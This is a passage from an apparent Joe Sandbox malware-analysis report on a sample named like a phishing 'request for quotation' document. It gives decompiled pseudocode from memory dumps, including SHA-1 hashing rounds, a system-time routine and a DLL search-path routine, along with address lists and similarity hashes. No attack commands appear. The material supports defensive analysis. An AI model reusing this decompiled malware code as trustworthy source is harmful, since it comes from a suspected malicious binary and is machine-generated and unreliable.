					_t503 = _t500 + (_t404 ^ _t358 ^ _t278) +  *((intOrPtr*)(_t538 + _t464 * 4 - 0x14c)) +  *(_t538 - 0xc) + 0x6ed9eba1;
					_t333 =  *(_t538 - 8);
					 *(_t538 - 8) = _t503;
					asm("rol esi, 0x5");
					_t420 = _t503 + (_t358 ^ _t278 ^ _t333) +  *((intOrPtr*)(_t538 + _t464 * 4 - 0x148)) +  *(_t538 - 0xc) + 0x6ed9eba1;
					asm("ror ebx, 0x2");
					_t506 = _t278;
					 *(_t538 - 0xc) = _t358;
					_t365 =  *(_t538 - 8);
					 *(_t538 - 8) = _t420;
					asm("rol edx, 0x5");
					asm("ror ecx, 0x2");
					_t291 = _t420 + (_t278 ^ _t333 ^ _t365) +  *((intOrPtr*)(_t538 + _t464 * 4 - 0x144)) +  *(_t538 - 0xc) + 0x6ed9eba1;
					_t423 =  *(_t538 - 8);
					 *(_t538 - 4) = _t333;
					 *(_t538 - 4) = _t365;
					 *(_t538 - 8) = _t291;
					asm("rol eax, 0x5");
					_t464 = _t464 + 5;
					_t358 =  *(_t538 - 8);
					asm("ror edx, 0x2");
					_t145 = _t506 + 0x6ed9eba1; // 0x6ed9eb9f
					_t507 = _t291 + (_t333 ^  *(_t538 - 4) ^ _t423) +  *((intOrPtr*)(_t538 + _t464 * 4 - 0x154)) + _t145;
					_t294 =  *(_t538 - 4);
					 *(_t538 - 4) = _t423;
					 *(_t538 - 8) = _t507;
					asm("rol esi, 0x5");
					_t404 =  *(_t538 - 4);
					_t500 = _t507 + (_t294 ^  *(_t538 - 4) ^ _t358) +  *((intOrPtr*)(_t538 + _t464 * 4 - 0x150)) + _t333 + 0x6ed9eba1;
					 *(_t538 - 0xc) = _t294;
					_t278 =  *(_t538 - 8);
					asm("ror ecx, 0x2");
					 *(_t538 - 8) = _t500;
				} while (_t464 < 0x28);
				 *(_t538 - 4) = 0x28;
				do {
					asm("rol esi, 0x5");
					 *(_t538 - 0xc) = _t404;
					asm("ror eax, 0x2");
					_t511 = ((_t358 | _t278) & _t404 | _t358 & _t278) +  *((intOrPtr*)(_t538 +  *(_t538 - 4) * 4 - 0x14c)) + _t500 +  *(_t538 - 0xc) - 0x70e44324;
					_t470 =  *(_t538 - 8);
					 *(_t538 - 8) = _t511;
					asm("rol esi, 0x5");
					_t339 =  *(_t538 - 4);
					asm("ror edi, 0x2");
					_t432 = ((_t278 | _t470) & _t358 | _t278 & _t470) +  *((intOrPtr*)(_t538 + _t339 * 4 - 0x148)) + _t511 +  *(_t538 - 0xc) - 0x70e44324;
					 *(_t538 - 0xc) = _t358;
					_t369 =  *(_t538 - 8);
					 *(_t538 - 8) = _t432;
					asm("rol edx, 0x5");
					 *(_t538 - 4) = _t278;
					_t434 = ((_t470 | _t369) & _t278 | _t470 & _t369) +  *((intOrPtr*)(_t538 + _t339 * 4 - 0x144)) + _t432 +  *(_t538 - 0xc) - 0x70e44324;
					asm("ror ecx, 0x2");
					 *(_t538 - 0xc) =  *(_t538 - 4);
					_t298 =  *(_t538 - 8);
					 *(_t538 - 4) = _t470;
					 *(_t538 - 8) = _t434;
					asm("rol edx, 0x5");
					asm("ror eax, 0x2");
					_t523 = ((_t369 | _t298) & _t470 | _t369 & _t298) +  *((intOrPtr*)(_t538 + _t339 * 4 - 0x140)) + _t434 +  *(_t538 - 0xc) - 0x70e44324;
					 *(_t538 - 0xc) =  *(_t538 - 4);
					_t437 = _t369;
					_t358 =  *(_t538 - 8);
					 *(_t538 - 4) = _t437;
					 *(_t538 - 8) = _t523;
					asm("rol esi, 0x5");
					 *(_t538 - 0xc) =  *(_t538 - 4);
					_t500 = ((_t298 | _t358) & _t437 | _t298 & _t358) +  *((intOrPtr*)(_t538 + _t339 * 4 - 0x13c)) + _t523 +  *(_t538 - 0xc) - 0x70e44324;
					_t404 = _t298;
					_t278 =  *(_t538 - 8);
					asm("ror ecx, 0x2");
					 *(_t538 - 8) = _t500;
					_t340 = _t339 + 5;
					 *(_t538 - 4) = _t340;
				} while (_t340 < 0x3c);
				_t478 = 0x3c;
				 *(_t538 - 4) = 0x3c;
				do {
					asm("rol esi, 0x5");
					_t479 =  *(_t538 - 4);
					asm("ror eax, 0x2");
					_t526 = (_t404 ^ _t358 ^ _t278) +  *((intOrPtr*)(_t538 + _t478 * 4 - 0x14c)) + _t500 +  *(_t538 - 0xc) - 0x359d3e2a;
					_t345 =  *(_t538 - 8);
					 *(_t538 - 0xc) = _t404;
					 *(_t538 - 8) = _t526;
					asm("rol esi, 0x5");
					asm("ror ebx, 0x2");
					_t445 = (_t358 ^ _t278 ^ _t345) +  *((intOrPtr*)(_t538 + _t479 * 4 - 0x148)) + _t526 +  *(_t538 - 0xc) - 0x359d3e2a;
					 *(_t538 - 0xc) = _t358;
					_t370 =  *(_t538 - 8);
					 *(_t538 - 8) = _t445;
					asm("rol edx, 0x5");
					 *(_t538 - 0xc) = _t278;
					asm("ror ecx, 0x2");
					_t302 = (_t278 ^ _t345 ^ _t370) +  *((intOrPtr*)(_t538 + _t479 * 4 - 0x144)) + _t445 +  *(_t538 - 0xc) - 0x359d3e2a;
					_t404 =  *(_t538 - 8);
					 *(_t538 - 8) = _t302;
					asm("rol eax, 0x5");
					 *(_t538 - 0xc) = _t345;
					_t533 = (_t345 ^ _t370 ^ _t404) +  *((intOrPtr*)(_t538 + _t479 * 4 - 0x140)) + _t302 +  *(_t538 - 0xc) - 0x359d3e2a;
					_t304 = _t370;
					 *(_t538 - 4) = _t345;
					asm("ror edx, 0x2");
					 *(_t538 - 4) = _t370;
					_t358 =  *(_t538 - 8);
					 *(_t538 - 8) = _t533;
					asm("rol esi, 0x5");
					_t478 = _t479 + 5;
					_t500 = (_t304 ^ _t404 ^ _t358) +  *((intOrPtr*)(_t538 + _t479 * 4 - 0x13c)) + _t533 +  *(_t538 - 0xc) - 0x359d3e2a;
					 *(_t538 - 0xc) = _t304;
					_t278 =  *(_t538 - 8);
					asm("ror ecx, 0x2");
					 *(_t538 - 4) = _t404;
					 *(_t538 - 8) = _t500;
					 *(_t538 - 4) = _t478;
				} while (_t478 < 0x50);
				_t480 =  *((intOrPtr*)(_t538 + 8));
				 *((intOrPtr*)(_t480 + 8)) =  *((intOrPtr*)(_t480 + 8)) + _t358;
				 *((intOrPtr*)(_t480 + 0xc)) =  *((intOrPtr*)(_t480 + 0xc)) + _t404;
				_t310 =  *((intOrPtr*)(_t480 + 0x10)) +  *(_t538 - 0xc);
				 *_t480 =  *_t480 + _t500;
				 *((intOrPtr*)(_t480 + 4)) =  *((intOrPtr*)(_t480 + 4)) + _t278;
				 *((intOrPtr*)(_t480 + 0x10)) = _t310;
				 *(_t480 + 0x5c) = 0;
				return _t310;
			}

0x00408c2a
0x00408c7f
0x00408c81
0x00408c81
0x00408c84
0x00408ca6
0x00408ccc
0x00408cf2
0x00408d14
0x00408d1b
0x00408d1e
0x00408d21
0x00408d2a
0x00408d30
0x00408d37
0x00408d48
0x00408d4b
0x00408d4e
0x00408d52
0x00408d54
0x00408d56
0x00408d5f
0x00408d62
0x00408d65
0x00408d70
0x00408d76
0x00408d78
0x00408d78
0x00408d7b
0x00408d7e
0x00408d7e
0x00408d83
0x00408d85
0x00408d88
0x00408d8b
0x00408d91
0x00408d94
0x00408d97
0x00408da0
0x00408da6
0x00408daf
0x00408dbe
0x00408dc5
0x00408dc8
0x00408dcb
0x00408dd4
0x00408dd7
0x00408dda
0x00408df2
0x00408df9
0x00408dfb
0x00408dfe
0x00408e01
0x00408e0a
0x00408e11
0x00408e14
0x00408e17
0x00408e26
0x00408e2d
0x00408e30
0x00408e33
0x00408e3c
0x00408e46
0x00408e49
0x00408e55
0x00408e58
0x00408e5f
0x00408e62
0x00408e65
0x00408e6a
0x00408e6d
0x00408e76
0x00408e87
0x00408e8a
0x00408e8d
0x00408e94
0x00408e97
0x00408e9a
0x00408e9d
0x00408e9f
0x00408ea2
0x00408ea5
0x00408eae
0x00408eb3
0x00408eb3
0x00408ec8
0x00408ecb
0x00408ece
0x00408ed5
0x00408ed8
0x00408edb
0x00408ef0
0x00408ef7
0x00408efa
0x00408efe
0x00408f01
0x00408f06
0x00408f09
0x00408f18
0x00408f1b
0x00408f22
0x00408f25
0x00408f28
0x00408f2b
0x00408f2e
0x00408f36
0x00408f44
0x00408f47
0x00408f4a
0x00408f4a
0x00408f51
0x00408f54
0x00408f57
0x00408f5f
0x00408f6d
0x00408f70
0x00408f77
0x00408f7a
0x00408f7d
0x00408f80
0x00408f83
0x00408f8c
0x00408f93
0x00408f93
0x00408f99
0x00408fb2
0x00408fb5
0x00408fbc
0x00408fbf
0x00408fc2
0x00408fd4
0x00408fde
0x00408fe1
0x00408fea
0x00408fed
0x00408ff4
0x00408ff7
0x00408ffd
0x00409010
0x00409017
0x0040901a
0x0040901d
0x00409020
0x00409029
0x0040902c
0x0040903f
0x00409042
0x0040904c
0x0040904f
0x00409051
0x0040905a
0x0040905d
0x00409070
0x00409076
0x00409079
0x00409080
0x00409082
0x00409085
0x00409088
0x0040908b
0x0040908e
0x00409091
0x0040909a
0x0040909f
0x004090a2
0x004090a2
0x004090b5
0x004090b8
0x004090bb
0x004090c2
0x004090c5
0x004090c8
0x004090cb
0x004090de
0x004090e1
0x004090ec
0x004090ef
0x004090fb
0x004090fe
0x00409104
0x00409107
0x0040910a
0x00409111
0x00409121
0x00409124
0x0040912a
0x0040912d
0x00409134
0x00409136
0x00409139
0x0040913c
0x0040913f
0x00409142
0x00409149
0x00409158
0x0040915b
0x00409162
0x00409165
0x00409168
0x0040916b
0x0040916e
0x00409171
0x00409174
0x0040917d
0x0040918e
0x00409196
0x0040919c
0x0040919f
0x004091a1
0x004091a4
0x004091a7
0x004091b4

Strings

(, xrefs: 00408F8C

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 0a845adc5c1925de44c31972085a21d3f2f5a2a2c5fc38c923df10defe8cb50b
Instruction ID: 3c23364619d3065c78bf19801802abf03006ded5b2ee345995aea0163dc0952d
Opcode Fuzzy Hash: 0a845adc5c1925de44c31972085a21d3f2f5a2a2c5fc38c923df10defe8cb50b
Instruction Fuzzy Hash: 7C022CB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7355D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00A3B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0xb0d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E00A37D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E00AE8CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = L00A59E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return L00A5B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = L00A5CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E00A37D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							L00AE8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = L00A5AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0xb08628; // 0x0
								_v68 = _t77;
								_t78 =  *0xb0862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0xb08628; // 0x0
							_t116 =  *0xb0862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x00a3b94c
0x00a3b956
0x00a3b95c
0x00a3b95e
0x00a3b964
0x00a3b969
0x00a3b96d
0x00a3b96d
0x00a3b970
0x00a3b974
0x00a3b97a
0x00a3badf
0x00a3badf
0x00a3bae2
0x00a3bae4
0x00a3bae6
0x00a3baf0
0x00a82cb8
0x00a3baf6
0x00a3baf6
0x00a3baf6
0x00a3bafd
0x00a3bb1f
0x00a3bb1f
0x00a3baff
0x00a3bb00
0x00a3bb00
0x00a3bb03
0x00a3bb03
0x00a3bacb
0x00a3bacf
0x00a3bad0
0x00a3bad1
0x00a3badc
0x00a3badc
0x00a3b980
0x00a3b980
0x00a3b988
0x00a3b98b
0x00a3b98d
0x00a3b990
0x00a3b993
0x00a3b999
0x00a3b99b
0x00a3b9a1
0x00a3b9a5
0x00a3b9aa
0x00a3b9b0
0x00a3b9bb
0x00a3b9c0
0x00a3b9c3
0x00a3b9ca
0x00a3b9cc
0x00a3b9cf
0x00a3b9d3
0x00a3b9d7
0x00a3ba94
0x00a3ba94
0x00a3ba98
0x00a3baa3
0x00a82ccb
0x00a3baa9
0x00a3baa9
0x00a3baa9
0x00a3bab1
0x00a82cd5
0x00a82cdd
0x00a82cdd
0x00a3babb
0x00a3babc
0x00a3bac2
0x00a3bac3
0x00a3bac3
0x00a3bac6
0x00000000
0x00a3b9dd
0x00a3b9dd
0x00a3b9e7
0x00a3b9e7
0x00a3b9ec
0x00a3b9ec
0x00a3b9f1
0x00a3b9f5
0x00a3b9fa
0x00a3ba00
0x00a3ba0c
0x00a3ba10
0x00a3ba10
0x00a3ba12
0x00a3ba18
0x00000000
0x00000000
0x00a3bb26
0x00a3bb26
0x00a3ba1e
0x00a3ba1e
0x00a3ba23
0x00a3ba25
0x00a3ba2c
0x00a3ba30
0x00a3ba35
0x00a3ba35
0x00a3ba41
0x00a3ba46
0x00a3ba4c
0x00a3ba50
0x00a3ba54
0x00a3ba6a
0x00a3ba6e
0x00a3ba70
0x00a3ba74
0x00a3ba78
0x00a3ba7a
0x00a3ba7c
0x00a3ba8e
0x00a3ba90
0x00a3ba92
0x00a3bb14
0x00a3bb14
0x00a3bb16
0x00a3bb16
0x00000000
0x00a3ba7c
0x00a3bb0a
0x00a3bb0d
0x00000000
0x00000000
0x00000000
0x00a3bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A3B9A5

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 5a6d950d66fb3f585ca6d98baf67ce2d267fb55eb0d1754677b968d737f3ade6
Instruction ID: 0a7c21058debec8f60e6aba4a9a584401192c2e5a19439f5a2277bb32ebaf19f
Opcode Fuzzy Hash: 5a6d950d66fb3f585ca6d98baf67ce2d267fb55eb0d1754677b968d737f3ade6
Instruction Fuzzy Hash: DF513B71A18740CFC720DF29C58092ABBF6BB98750F24496EFA8597355DB31EC44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A42581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00A42581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t250;
				signed int _t254;
				signed char _t255;
				void* _t256;
				signed int _t261;
				signed int _t263;
				intOrPtr _t265;
				signed int _t268;
				signed int _t275;
				signed int _t278;
				signed int _t286;
				intOrPtr _t292;
				signed int _t294;
				signed int _t296;
				void* _t297;
				signed int _t298;
				signed int _t299;
				unsigned int _t302;
				signed int _t306;
				void* _t307;
				signed int _t309;
				signed int _t313;
				intOrPtr _t325;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t349;
				void* _t350;
				signed char _t352;

				_t346 = _t349;
				_t350 = _t349 - 0x4c;
				_v8 =  *0xb0d360 ^ _t346;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t341 = 0xb0b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t302 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t292 = 0x48;
				_t323 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t334 = 0;
				_v37 = _t323;
				if(_v48 <= 0) {
					L16:
					_t45 = _t292 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t342 = 0xc0000106;
						goto L32;
					} else {
						_t341 = L00A34620(_t302,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t292);
						_v52 = _t341;
						__eflags = _t341;
						if(_t341 == 0) {
							_t342 = 0xc0000017;
							goto L32;
						} else {
							 *(_t341 + 0x44) =  *(_t341 + 0x44) & 0x00000000;
							_t50 = _t341 + 0x48; // 0x48
							_t336 = _t50;
							_t323 = _v32;
							 *((intOrPtr*)(_t341 + 0x3c)) = _t292;
							_t294 = 0;
							 *((short*)(_t341 + 0x30)) = _v48;
							__eflags = _t323;
							if(_t323 != 0) {
								 *(_t341 + 0x18) = _t336;
								__eflags = _t323 - 0xb08478;
								 *_t341 = ((0 | _t323 == 0x00b08478) - 0x00000001 & 0xfffffffb) + 7;
								E00A5F3E0(_t336,  *((intOrPtr*)(_t323 + 4)),  *_t323 & 0x0000ffff);
								_t323 = _v32;
								_t350 = _t350 + 0xc;
								_t294 = 1;
								__eflags = _a8;
								_t336 = _t336 + (( *_t323 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t286 = E00AA39F2(_t336);
									_t323 = _v32;
									_t336 = _t286;
								}
							}
							_t306 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t342 = _v68;
								__eflags = 0;
								 *((short*)(_t336 - 2)) = 0;
								goto L32;
							} else {
								_t296 = _t341 + _t294 * 4;
								_v56 = _t296;
								do {
									__eflags = _t323;
									if(_t323 != 0) {
										_t250 =  *(_v60 + _t306 * 4);
										__eflags = _t250;
										if(_t250 == 0) {
											goto L30;
										} else {
											__eflags = _t250 == 5;
											if(_t250 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t296 =  *(_v60 + _t306 * 4);
										 *(_t296 + 0x18) = _t336;
										_t254 =  *(_v60 + _t306 * 4);
										__eflags = _t254 - 8;
										if(_t254 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t254 * 4 +  &M00A42959))) {
												case 0:
													__ax =  *0xb08488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E00A5F3E0(__edi,  *0xb0848c, __ax & 0x0000ffff);
														__eax =  *0xb08488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E00A5F3E0(_t336, _v80, _v64);
													_t281 = _v64;
													goto L26;
												case 2:
													 *0xb08480 & 0x0000ffff = E00A5F3E0(__edi,  *0xb08484,  *0xb08480 & 0x0000ffff);
													__eax =  *0xb08480 & 0x0000ffff;
													__eax = ( *0xb08480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E00A5F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E00A5F3E0(_t336, _v76, _v36);
														_t281 = _v36;
													}
													L26:
													_t350 = _t350 + 0xc;
													_t336 = _t336 + (_t281 >> 1) * 2 + 2;
													__eflags = _t336;
													L27:
													_push(0x3b);
													_pop(_t283);
													 *((short*)(_t336 - 2)) = _t283;
													goto L28;
												case 6:
													__ebx = "\\Wow\\Wow";
													__eflags = __ebx - "\\Wow\\Wow";
													if(__ebx != "\\Wow\\Wow") {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E00A5F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - "\\Wow\\Wow";
														} while (__ebx != "\\Wow\\Wow");
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0xb08478 & 0x0000ffff = E00A5F3E0(__edi,  *0xb0847c,  *0xb08478 & 0x0000ffff);
													__eax =  *0xb08478 & 0x0000ffff;
													__eax = ( *0xb08478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E00AA39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0xb06e58 & 0x0000ffff = E00A5F3E0(__edi,  *0xb06e5c,  *0xb06e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0xb06e58 & 0x0000ffff;
													__eax = ( *0xb06e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t306 = _v16;
													_t323 = _v32;
													L29:
													_t296 = _t296 + 4;
													__eflags = _t296;
													_v56 = _t296;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t306 = _t306 + 1;
									_v16 = _t306;
									__eflags = _t306 - _v48;
								} while (_t306 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t254 =  *(_v60 + _t334 * 4);
						if(_t254 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t254 * 4 +  &M00A42935))) {
							case 0:
								__ax =  *0xb08488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t323 =  &_v64;
								_v80 = L00A42E3E(0,  &_v64);
								_t292 = _t292 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0xb08480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xb08480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = L00A2EEF0(0xb079a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E00A2EB70(__ecx, 0xb079a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t228 = _v72;
											__eflags = _t228;
											if(_t228 != 0) {
												L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t228);
											}
											_t229 = _v52;
											__eflags = _t229;
											if(_t229 != 0) {
												__eflags = _t342;
												if(_t342 < 0) {
													L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t229);
													_t229 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t302 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0xb07b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L00A34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E00A2EB70(__ecx, 0xb079a0);
										__eax = _v52;
										L36:
										_pop(_t335);
										_pop(_t343);
										__eflags = _v8 ^ _t346;
										_pop(_t293);
										return L00A5B640(_t229, _t293, _v8 ^ _t346, _t323, _t335, _t343);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t288 = _v56;
								if(_v56 != 0) {
									_t323 =  &_v36;
									_t290 = L00A42E3E(_t288,  &_v36);
									_t302 = _v36;
									_v76 = _t290;
								}
								if(_t302 == 0) {
									goto L44;
								} else {
									_t292 = _t292 + 2 + _t302;
								}
								goto L14;
							case 6:
								__eax =  *0xb05764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0xb08478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xb08478;
